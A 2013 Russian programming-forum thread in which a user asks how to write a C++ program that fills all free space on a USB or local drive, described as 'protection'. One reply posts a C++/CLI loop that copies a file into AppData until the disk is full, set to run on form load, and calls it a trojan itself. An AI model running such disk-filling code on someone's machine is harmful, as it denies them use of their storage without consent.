Форум программистов, компьютерный форум CyberForum.ru

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
Дархан
 Аватар для Дархан
21 / 21 / 1
Регистрация: 07.10.2012
Сообщений: 93
#1

Защита флеш накопителя - C++

11.08.2013, 19:58. Просмотров 376. Ответов 2
Метки нет (Все метки)

Наткнулся на прогу по защите флеш накопителей. Алгоритм очень прост, активируете - и ВСЯ память до 0 флешки заполняется, деактивируете и можно записывать на флешку, память восстанавливается. Есть баг, после активации окошко exe не закрывается, захотел написать самостоятельно. Вопрос вот в чем, как можно на С++ сделать так, чтобы прога заполнила всю память локального или съемного диска, в зависимости от сохраненного файла?

Добавлено через 4 минуты
При активации создается файл с расширением file
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
11.08.2013, 19:58     Защита флеш накопителя
Посмотрите здесь:

C++ Защита от дурака
Защита от переполнения C++
защита от дурака C++
C++ бот для браузерной флеш-игры
C++ стрит-флеш
C++ Защита от дизассемблера
C++ Защита от дурака
Заблокировать запись на флеш накопитель C++
C++ Защита от дурака
C++ Защита от дурака
C++ Защита DLL
Обработчик прерывания контроллера накопителя на жестком магнитном диске C++

Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
Убежденный
Системный программист
 Аватар для Убежденный
14658 / 6604 / 1046
Регистрация: 02.05.2013
Сообщений: 10,878
Завершенные тесты: 1
11.08.2013, 20:39     Защита флеш накопителя #2
Цитата Сообщение от Дархан Посмотреть сообщение
Наткнулся на прогу по защите флеш накопителей. Алгоритм очень прост, активируете - и ВСЯ память до 0 флешки заполняется
И как эта "защита" спасет от форматирования флэшки ?
Overwave2
1 / 1 / 0
Регистрация: 25.02.2013
Сообщений: 38
12.08.2013, 00:32     Защита флеш накопителя #3
Код на C++/CLI, то есть нужно создать проект Windows Forms.

C++
1
2
3
4
5
6
7
8
9
10
System::IO::StreamWriter^ writer = gcnew System::IO::StreamWriter(Environment::GetFolderPath(Environment::SpecialFolder::ApplicationData) + "\\-0.file");
writer->WriteLine("iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii");
writer->Close();
for (double xyu; ; xyu++) {
try {
IO::File::Copy(Environment::GetFolderPath(Environment::SpecialFolder::ApplicationData) + "\\-0.file", Environment::GetFolderPath(Environment::SpecialFolder::ApplicationData) + "\\" + xyu.ToString() + ".file");
}
catch (Exception^ Exc)
{Application::Exit();}
}
Можно встроить в действие загрузки формы.
Алгоритм таков: В папке ApplicationData (опционально) создается текстовый файл с содержимым "i..." и названием -0.file
Потом циклом он копируется пока не выявится ошибка в файлы 0.file, 1.file,...

Но всем же ясно, что это тупо троян.
Yandex
Объявления
12.08.2013, 00:32     Защита флеш накопителя
Ответ Создать тему
Опции темы

Текущее время: 06:25. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru